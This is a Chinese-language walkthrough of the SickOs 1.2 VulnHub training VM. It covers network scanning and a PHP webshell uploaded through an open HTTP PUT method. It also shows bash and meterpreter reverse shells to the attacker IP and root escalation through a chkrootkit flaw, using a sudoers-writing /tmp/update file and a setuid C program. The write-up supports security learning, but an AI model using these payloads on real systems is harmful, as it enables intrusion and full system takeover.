SickOs: 1.2来自 <https://www.vulnhub.com/entry/sickos-12,144/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
靶机IP地址192.168.23.161,攻击机IP地址192.168.23.140
3,扫描靶机端口服务
nmap -sS -sV -n -T4 -p- 192.168.23.161
仅仅只开放了80端口http服务
4,信息收集查看网站,就是一张图片。网站源代码也没有上面
5,对网站子目录继续爆破扫描
虽然网站搭建都十分粗糙,但是可以看见使用了一种web服务器软件
lighttpd的基本情况
lighttpd是一个轻量级的Web服务器软件,具有高性能、低资源消耗等特点。它的全称是LightweightHTTPServer,是最早的轻量级Web服务器之一,在性能方面相对较优,比较适合在高负载的环境下运行,能够支持并发地处理大量的连接请求,占用的内存和系统资源较少,适用于资源有限的服务器上运行。它使用C语言编写,采用事件驱动的方式处理和分析请求,可以支持HTTP/1.1协议,支持FastCGI、SCGI等CGI解释器,能通过mod_rewrite和mod_redirect模块实现URL重写和重定向功能。还可以通过扩展模块的方式扩展功能,例如支持PHP、Perl等脚本语言的功能,也能支持SSL/TLS加密等功能,并且支持虚拟主机的功能,可以在一台服务器上运行多个网站,并且隔离不同的网站环境。对于大型的网站集群来说,使用lighttpd可以有效地提高系统的整体性能和稳定性
6,对网站特征进行指纹识别扫描
果然没有使用Apache而是使用了lighttpd
7,检索该软件有无这个版本的公开漏洞 searchsploit lighttpd 1.4.28
没有与之对应的漏洞发现
8,再使用nmap扫描,目的是查看/test目录支持访问的方法
nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.23.161
1. 命令功能解释
- nmap是一款网络探测和安全审核的工具。
- --script http - methods:这是指定要使用的脚本,http - methods脚本用于探测目标Web服务器支持的HTTP方法(如GET、POST、PUT、DELETE等)。
- --script - args http - methods.url - path ='/test':这是为脚本传递参数。在这里是指定在探测HTTP方法时针对的URL路径为/test。
- 10.0.2.15:这是要扫描的目标IP地址。
2. 可能的结果
- 如果目标服务器对/test路径没有特殊限制,会返回支持的HTTP方法列表。例如可能返回类似GET、HEAD等常见方法。
- 如果服务器对该路径有访问控制或者不允许探测,可能会返回错误信息,如连接被拒绝或者权限不足等错误提示。
3. 应用场景
- 安全审计:可以帮助发现目标Web服务器是否允许不应该被允许的HTTP方法(如危险的PUT或DELETE方法可能被恶意利用来修改或删除服务器上的文件)。
- Web应用开发测试:开发人员可以使用这个命令来确保他们的Web应用在特定路径下只暴露预期的HTTP方法。
扫描得到支持put方法,这是一种高危的配置错误漏洞,会导致攻击者随意上传高危内容
9,通过burp suite发送put方法上传一句话木马文件
右键发送到repeater模块,更改请求方法 <?php @eval($_POST[hack]);?>
forword发送构造好的请求,可以看到响应码201,表示请求已经成功,并且服务器已经创建了一个新的资源。这个状态码通常在执行POST或PUT请求后返回,表明服务器已经成功处理了请求,并且生成了一个新的资源。
10,蚁剑启动,使用webshell配合一句话木马来控制网站,路径:http://192.168.23.161/test/1.php;密码:hack
打开虚拟终端进行反弹shell,发现怎么都无法将shell弹到攻击机上
可能是因为靶机防火墙限制了端口规则,那就需要找到允许出站的端口。先在攻击机上执行操作:
//备份iptables规则
iptables-save > /tmp/firewall.rules
//将所有端口的流量都转发到34444端口
iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444
//监听34444端口
nc -lvp 34444
编写shell脚本通过蚁剑上传服务器,实现出站端口自动探测功能
#!/bin/bash
# 先创建或清空out.txt 文件
> out.txt
for ((i = 1; i <= 65535; i++)); do
if timeout 1 nc -vz 192.168.23.140 $i &> /dev/null; then
echo "$i open" >> out.txt
else
echo "$i closed" >> out.txt
fi
done
echo "all port done"
给执行权限执行脚本
chmod +x 1.sh
./1.sh
最后经过探测只有443端口可以走。攻击机重启恢复iptables规则,然后再执行反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.23.140/443 0>&1'
没弹成功,换一种方法
11,使用msfvenom生成攻击载荷模块
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.23.140 lport=443 R >shell.php
删除木马的注释部分
然后将木马通过curl以put方法上传木马到靶机
curl -v -T shell.php -H 'Expect:' "http://192.168.23.161/test/"
再启动Metasploit设置监听,准备工作配置
msfconsole -q
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.23.140
set lport 443
exploit
点击上传的脚本触发获取shell
12,成功获取的靶机的shell,使用python脚本获取一个可交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
13,进行信息收集
id
uname -a
lsb_release -a
可以看到操作系统和内核的版本比较低
14,列出使用者的流程表
ls -la /etc/cron*
chkrootkit 是一个用于检测 Linux 系统中是否存在 rootkit 的工具。Rootkit 是一种恶意软件,它通常通过隐藏自己的存在来获取对系统的控制,且一般在用户不知情的情况下运行。Rootkit 一旦成功植入,攻击者就可以获得对系统的管理员权限(root 权限),并能够悄无声息地进行各种恶意活动。
chkrootkit 通过扫描系统中的各种常见 rootkit 痕迹来检测系统是否受到感染。它的工作原理是:
- 检查特征文件:chkrootkit 会检查常见的 rootkit 文件和脚本,以确定它们是否在系统中存在。
- 检查系统命令的异常:它会扫描一些常见的系统命令是否被篡改或替换成了恶意版本。
- 检查可疑进程和网络连接:chkrootkit 会检查系统中的运行进程、打开的端口、网络连接等是否存在异常,尤其是那些可能是 rootkit 相关的恶意活动。
常见的检测项目包括:
- 检查隐藏进程:rootkit 常常会隐藏其进程,以避免被发现。
- 检测替换的命令:rootkit 会替换一些常见的系统命令(如 ps、ls 等),使得它们显示的结果无法反映真实的系统状态。
- 网络通信:rootkit 可能会和外部控制服务器进行通信,用于接收命令或发送数据。
查看工具版本,可以看到整个工具的程序是写入了环境变量的 chkrootkit -V
15,然后检索这个版本的chkrootkit有什么公开exp
可以看到存在两个公开的漏洞利用文件
这段文本描述了一个在 chkrootkit 包中发现的严重漏洞,该漏洞可能允许本地攻击者在某些配置下(例如 /tmp 没有挂载为 noexec)获得系统的根权限。
漏洞位于 chkrootkit 脚本中的 slapper() 函数:
slapper (){
SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"
SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \
${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a
SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "
OPT=-an
STATUS=0
file_port=
if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}" > /dev/null 2>&1
then
STATUS=1
[ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
$egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print $7 }' | tr -d :`
fi
for i in ${SLAPPER_FILES}; do
if [ -f ${i} ]; then
file_port=$file_port $i
STATUS=1
fi
done
if [ ${STATUS} -eq 1 ] ;then
echo "Warning: Possible Slapper Worm installed ($file_port)"
else
if [ "${QUIET}" != "t" ]; then echo "not infected"; fi
return ${NOT_INFECTED}
fi
}
问题出在 file_port=$file_port $i 这一行代码上。由于变量赋值时缺少引号,如果 $file_port 是空的,那么 $i 中指定的所有文件都会以 chkrootkit 运行的用户身份(通常是根用户)执行。
复现步骤:
- 在 /tmp 目录下放置一个名为 update 的可执行文件,并且该文件的所有者不是根用户。
- 以 uid 0(根用户)身份运行 chkrootkit。
结果:/tmp/update 文件将以根用户身份执行,如果文件中包含恶意内容,则系统将被攻陷。
建议修复方法:在变量赋值时加上引号。
file_port="$file_port $i"
此外,作者还提到会尝试联系 chkrootkit 的上游开发者,尽管该软件包的最新版本发布于 2009 年,能否联系到开发者还是未知数。
16,开始漏洞利用,向update文件中写入将www-date添加到sudo组的命令,并且给/tmp/update添加可执行权限
echo 'echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >/tmp/update
chmod +x /tmp/update
查看一下sudo命令能否使用
最后sudo su root切换到root用户
查看flag
2,C语言代码提权
编写代码要求将/tmp/update文件的所有者和组更改为root,设置setuid和setgid位为0,然后执行/bin/sh。
#include<unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
服务器是是禁止下载的,但是可以直接将这个文件上传
curl -v -H 'Expect:' -T shell.c "http://192.168.23.161/test/"
gcc编译并且执行
查看一下防火墙规则就知道为什么渗透测试比较麻烦了
[iptables规则的总体策略]
这些iptables规则的总体策略是比较严格的。在filter表中,默认的INPUT策略被设置为DROP(丢弃所有入站流量),OUTPUT策略也被设置为DROP(丢弃所有出站流量),而FORWARD策略为ACCEPT(允许转发流量)。
[入站规则(INPUT)]
- 对于入站的TCP流量,允许目标端口(--dport)为22(通常用于SSH服务)、80(用于HTTP服务)、源端口(--sport)为8080以及源端口为443(通常用于HTTPS服务)的流量通过。这意味着外部主机可以通过这些端口与本地主机建立连接(针对特定的服务)。
[出站规则(OUTPUT)]
- 对于出站的TCP流量,允许源端口(--sport)为22、80,目标端口(--dport)为8080和443的流量通过。这表示本地主机可以通过这些端口与外部主机进行通信(针对特定的服务)。